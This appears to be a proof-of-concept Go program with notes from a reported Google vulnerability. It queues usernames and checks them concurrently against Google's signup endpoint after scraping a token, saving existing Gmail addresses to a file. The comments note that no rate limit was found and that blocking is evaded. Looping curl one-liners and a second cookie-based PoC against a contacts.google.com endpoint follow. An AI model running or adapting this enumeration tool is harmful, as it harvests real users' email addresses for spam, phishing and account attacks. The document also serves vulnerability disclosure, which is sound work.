|
// Author: Guillermo Céspedes <[email protected]> |
|
// Code for tests. It is not optimized. |
|
|
|
// Proof of concept. It works, but it is developing. improvements. |
|
|
|
/* |
|
This new method does not require a Google session and is not blocked by unusual traffic. |
|
The previous method was blocked only when the same Google session was used on two different IP addresses (this happened due to a human configuration error). |
|
In neither of the two methods was a control found in the limit of sent requests. |
|
*/ |
|
|
|
package main |
|
|
|
import ( |
|
"errors" |
|
"log" |
|
"os" |
|
"os/signal" |
|
"syscall" |
|
"io/ioutil" |
|
"net" |
|
"net/http" |
|
"net/url" |
|
"crypto/tls" |
|
"context" |
|
// "net/http/httputil" |
|
"regexp" |
|
"strings" |
|
"bytes" |
|
"time" |
|
|
|
|
|
"github.com/nsqio/go-nsq" |
|
) |
|
|
|
const ( |
|
// IP of the NSQd service, simple connection to a single message queue service. Enough for the example. (local or online) |
|
HttpAddressNSQD = "127.0.0.1:4150" |
|
// You can adjust a higher value, just make sure that your operating system and network settings allow it. |
|
ConcurrentHandlers = 80 |
|
// https://godoc.org/github.com/nsqio/go-nsq#Consumer.ChangeMaxInFlight |
|
MaxInFlight = 100 |
|
// Output file where server responses are stored. raw format. |
|
RawFileName = "list_mail_005.txt" |
|
// Time out |
|
HttpTimeout = time.Duration(15 * time.Second) |
|
) |
|
|
|
var fileOutput *os.File |
|
var globalToken = "" |
|
|
|
var TransportDialer = &net.Dialer{ |
|
Timeout: HttpTimeout, |
|
} |
|
|
|
// struct of the http response |
|
type HTTPResponse struct { |
|
status string |
|
body []byte |
|
} |
|
|
|
// MessageHandler adheres to the nsq.Handler interface. |
|
type MessageHandler struct{ |
|
currToken *string |
|
error int |
|
} |
|
|
|
// Function that processes the received message |
|
func (h *MessageHandler) HandleMessage(m *nsq.Message) error { |
|
|
|
if len(m.Body) == 0 { |
|
return errors.New("message is blank - re-enqueue message") |
|
} |
|
|
|
if *h.currToken == "" || h.error > ConcurrentHandlers { |
|
newToken, errToken := GetNewToken() |
|
if errToken != nil { |
|
log.Print(errToken) |
|
return errors.New("error get token - re-enqueue message") |
|
} |
|
*h.currToken = newToken // set token |
|
h.error = 0 // reset error |
|
log.Print("--- NEW TOKEN ---") |
|
} |
|
|
|
strUsername := string(m.Body[:]) |
|
|
|
data := url.Values{} |
|
// f.req=['TOKEN','XXXXXX','XXXXXX','','','dev.dertinNoExist','qwertyqwerty','',true] |
|
data.Set("f.req", "['"+*h.currToken+"','XXXXXX','XXXXXX','','','"+strUsername+"','qwertyqwerty','',true]") |
|
|
|
responseHTTPPost, errHTTPPost := DoHTTPPost("https://accounts.google.com/_/signup/accountdetails", data) |
|
if errHTTPPost != nil { |
|
h.error++ |
|
log.Print(errHTTPPost) |
|
return errors.New("error request - re-enqueue message") |
|
} |
|
|
|
raw_body := string(responseHTTPPost.body) |
|
|
|
log.Print(raw_body) |
|
|
|
if responseHTTPPost.status != "200 OK" { |
|
h.error++ |
|
log.Print("error response:" + responseHTTPPost.status) |
|
return errors.New("error response - re-enqueue message") |
|
} |
|
|
|
if strings.Contains(raw_body, "1,["){ // not exist |
|
h.error = 0 |
|
return nil // OK - handled with success |
|
} else if strings.Contains(raw_body, "2,[") { // exist |
|
log.Print(strUsername + "@gmail.com") |
|
_, errFileWrite := fileOutput.WriteString(strUsername + "@gmail.com\r\n") |
|
if errFileWrite != nil { |
|
h.error++ |
|
log.Print(errFileWrite) |
|
return errors.New("error save file") |
|
} |
|
h.error = 0 |
|
return nil // OK - handled with success |
|
} else if strings.Contains(raw_body, ",3]"){ // - error token |
|
h.error = 99 // force clear token |
|
return errors.New("invalid token - re-enqueue message") |
|
} else { |
|
h.error++ |
|
return errors.New("error response type - re-enqueue message") |
|
} |
|
h.error++ |
|
return errors.New("default error - re-enqueue message") |
|
} |
|
|
|
// Function to send "GET" requests to the server and get a response. |
|
func DoHTTPGet(url string) (HTTPResponse, error) { |
|
|
|
request, err := http.NewRequest("GET", url, nil) |
|
|
|
if err != nil { |
|
log.Print(err) |
|
return HTTPResponse{}, err |
|
} |
|
request.Header.Set("Connection", "close") |
|
|
|
TransportInsecure := &http.Transport { |
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, |
|
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) { |
|
log.Print(addr) |
|
if addr == "accounts.google.com:443"{ |
|
addr = "216.58.202.45:443" |
|
} |
|
return TransportDialer.DialContext(ctx, network, addr) |
|
}, |
|
Dial: func(netw, addr string) (net.Conn, error) { |
|
deadline := time.Now().Add(HttpTimeout) |
|
c, err := net.DialTimeout(netw, addr, HttpTimeout - time.Second * 5) |
|
if err != nil { |
|
return nil, err |
|
} |
|
c.SetDeadline(deadline) |
|
return c, nil |
|
}, |
|
TLSHandshakeTimeout: HttpTimeout, |
|
} |
|
|
|
var client = &http.Client{ |
|
Timeout: HttpTimeout, |
|
Transport: TransportInsecure, |
|
} |
|
httpResponse, err := client.Do(request) |
|
|
|
if err != nil { |
|
log.Print(err) |
|
return HTTPResponse{}, err |
|
} |
|
|
|
defer httpResponse.Body.Close() |
|
|
|
// requestDump, err := httputil.DumpRequest(request, true) |
|
// if err != nil { |
|
// log.Print(err) |
|
// } |
|
// log.Print(string(requestDump)) |
|
|
|
httpBody, err := ioutil.ReadAll(httpResponse.Body) |
|
if err != nil { |
|
log.Print(err) |
|
return HTTPResponse{}, err |
|
} |
|
|
|
// Send an HTTPResponse |
|
return HTTPResponse{httpResponse.Status, httpBody}, nil |
|
} |
|
|
|
// Function to send "POST" requests to the server and get a response. |
|
func DoHTTPPost(url string, data url.Values) (HTTPResponse, error) { |
|
|
|
bytesData := bytes.NewBufferString(data.Encode()) |
|
|
|
request, err := http.NewRequest("POST", url, bytesData) |
|
|
|
if err != nil { |
|
log.Print(err) |
|
return HTTPResponse{}, err |
|
} |
|
|
|
request.Header.Set("google-accounts-xsrf", "1") // It is required |
|
request.Header.Add("Content-Type", "application/x-www-form-urlencoded") |
|
request.Header.Add("Connection", "close") |
|
//request.Header.Add("Content-Length", strconv.Itoa(len(data.Encode()))) |
|
|
|
TransportInsecure := &http.Transport { |
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, |
|
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) { |
|
if addr == "accounts.google.com:443"{ |
|
addr = "216.58.202.45:443" |
|
} |
|
return TransportDialer.DialContext(ctx, network, addr) |
|
}, |
|
Dial: func(netw, addr string) (net.Conn, error) { |
|
deadline := time.Now().Add(HttpTimeout) |
|
c, err := net.DialTimeout(netw, addr, HttpTimeout - time.Second * 5) |
|
if err != nil { |
|
return nil, err |
|
} |
|
c.SetDeadline(deadline) |
|
return c, nil |
|
}, |
|
TLSHandshakeTimeout: HttpTimeout, |
|
} |
|
|
|
var client = &http.Client{ |
|
Timeout: HttpTimeout, |
|
Transport: TransportInsecure, |
|
} |
|
httpResponse, err := client.Do(request) |
|
|
|
if err != nil { |
|
log.Print(err) |
|
return HTTPResponse{}, err |
|
} |
|
|
|
defer httpResponse.Body.Close() |
|
|
|
// requestDump, err := httputil.DumpRequest(request, true) |
|
// if err != nil { |
|
// log.Print(err) |
|
// } |
|
// log.Println(string(requestDump)) |
|
|
|
httpBody, err := ioutil.ReadAll(httpResponse.Body) |
|
if err != nil { |
|
log.Print(err) |
|
return HTTPResponse{}, err |
|
} |
|
|
|
// Send an HTTPResponse |
|
return HTTPResponse{httpResponse.Status, httpBody}, nil |
|
} |
|
|
|
// Cross-site request forgery (CSRF Token) |
|
func GetNewToken() (string, error) { |
|
|
|
responseHTTPGet, errHTTPGet := DoHTTPGet("https://accounts.google.com/signup/v2?flowEntry=SignUp&flowName=GlifWebSignIn") |
|
if errHTTPGet != nil { |
|
log.Print(errHTTPGet) |
|
return "", errors.New("error token request") |
|
} |
|
// Get the token |
|
var re = regexp.MustCompile(`(?m)(data-initial-setup-data=).*(").+(").+(")(.*)(")`) |
|
matches := re.FindStringSubmatch(string(responseHTTPGet.body)) |
|
|
|
if len(matches) > 5 && matches[5] != "" { |
|
return matches[5], nil |
|
} |
|
|
|
return "", errors.New("error token") |
|
} |
|
|
|
func main() { |
|
|
|
// Open file where valid emails are stored. |
|
var errFile error |
|
pathOutput := RawFileName |
|
fileOutput, errFile = os.OpenFile(pathOutput, os.O_APPEND|os.O_WRONLY, os.ModeAppend) |
|
if errFile != nil { |
|
log.Fatal(errFile) |
|
return |
|
} |
|
defer fileOutput.Close() |
|
|
|
// Init Token |
|
globalToken, errToken := GetNewToken() |
|
if errToken != nil { |
|
log.Fatal(errToken) |
|
return |
|
} |
|
|
|
// The default config settings |
|
config := nsq.NewConfig() |
|
|
|
// Create a NewConsumer with the name of our topic, the channel, and our config |
|
consumer, errNewConsumer := nsq.NewConsumer("topic_test", "channel", config) |
|
if errNewConsumer != nil { |
|
log.Fatal("fatal error when creating consumer.") |
|
} |
|
|
|
// Set the number of messages that can be in flight at any given time |
|
// you'll want to set this number as the default is only 1. This can be |
|
// a major concurrency knob that can change the performance of your application. |
|
consumer.ChangeMaxInFlight(MaxInFlight) |
|
|
|
// Injects our handler into the consumer. You'll define one handler |
|
// per consumer, but you can have as many concurrently running handlers |
|
// as specified by the second argument. If your MaxInFlight is less |
|
// than your number of concurrent handlers you'll starve your workers |
|
// as there will never be enough in flight messages for your worker pool |
|
|
|
consumer.AddConcurrentHandlers( |
|
&MessageHandler{currToken: &globalToken, error: 0}, |
|
ConcurrentHandlers, |
|
) |
|
|
|
// Connect directly |
|
errConnect := consumer.ConnectToNSQD(HttpAddressNSQD) |
|
if errConnect != nil { |
|
log.Fatal("fatal error can not connect to the message queue server") |
|
} |
|
|
|
// Let's allow our queues to drain properly during shutdown. |
|
// We'll create a channel to listen for SIGINT (Ctrl+C) to signal |
|
// to our application to gracefully shutdown. |
|
shutdown := make(chan os.Signal, 2) |
|
signal.Notify(shutdown, syscall.SIGINT) |
|
|
|
// This is our main loop. It will continue to read off of our nsq |
|
// channel until either the consumer dies or our application is signaled |
|
// to stop. |
|
for { |
|
select { |
|
case <-consumer.StopChan: |
|
return // uh oh consumer disconnected. Time to quit. |
|
case <-shutdown: |
|
// Synchronously drain the queue before falling out of main |
|
consumer.Stop() |
|
} |
|
} |
|
} |
NOTE:
########
https://issuetracker.google.com/action/[email protected]
https://gist.github.com/dertin/a24b35e230f9022c5dec380845cba68c
#########
https://accounts.google.com/_/signup/accountdetails
curl 'https://accounts.google.com/signup/v2?flowEntry=SignUp&flowName=GlifWebSignIn' | grep 'data-initial-setup-data=' | awk -v FS="("|")" '{print $4}'
// Not Exist.$4}'); REQ="f.req=[%22$ {TOKEN}%22,'XXXXXX','XXXXXX','','','mailUserNoExist','qwertyqwerty','',true]"; curl "https://accounts.google.com/_/signup/accountdetails" -H "google-accounts-xsrf: 1" --data "${REQ}"; sleep 1; clear; done
$ while true; do TOKEN=$(curl 'https://accounts.google.com/signup/v2?flowEntry=SignUp&flowName=GlifWebSignIn' | grep 'data-initial-setup-data=' | awk -v FS="("|")" '{print
// Exist$4}'); REQ="f.req=[%22$ {TOKEN}%22,'XXXXXX','XXXXXX','','','mailUserValid','qwertyqwerty','',true]"; curl "https://accounts.google.com/_/signup/accountdetails" -H "google-accounts-xsrf: 1" --data "${REQ}"; sleep 1; clear; done
$ while true; do TOKEN=$(curl 'https://accounts.google.com/signup/v2?flowEntry=SignUp&flowName=GlifWebSignIn' | grep 'data-initial-setup-data=' | awk -v FS="("|")" '{print
#########
https://contacts.google.com/_/SocialPeopleHovercardUi/data/batchexecute
PoC - third vulnerable petition
1 - Get token xsrf:
curl 'https://contacts.google.com/_/SocialPeopleHovercardUi/data/batchexecute' -H 'Cookie: SID=...; HSID=...; SSID=...' --data 'f.req=[]'
// token example: APz-wkZu2FLkVB1xmmw3o5qDRqMG:1543099222124
2- Add the token in the parameter called "at"
curl 'https://contacts.google.com/_/SocialPeopleHovercardUi/data/batchexecute' -H 'Cookie: SID=...; HSID=...; SSID=...' --data 'f.req=[[["WWoa8","[null,"[email protected]",7,[1,2]]",null,"generic"]]]&at=APz-wkZwQjIBBKTHSOqxdffkw3vV:1543095221187'
https://gist.github.com/dertin/94b87b31b8e9eb0f1a771d5493510ff8
https://www.youtube.com/watch?v=jo0fd4qInWM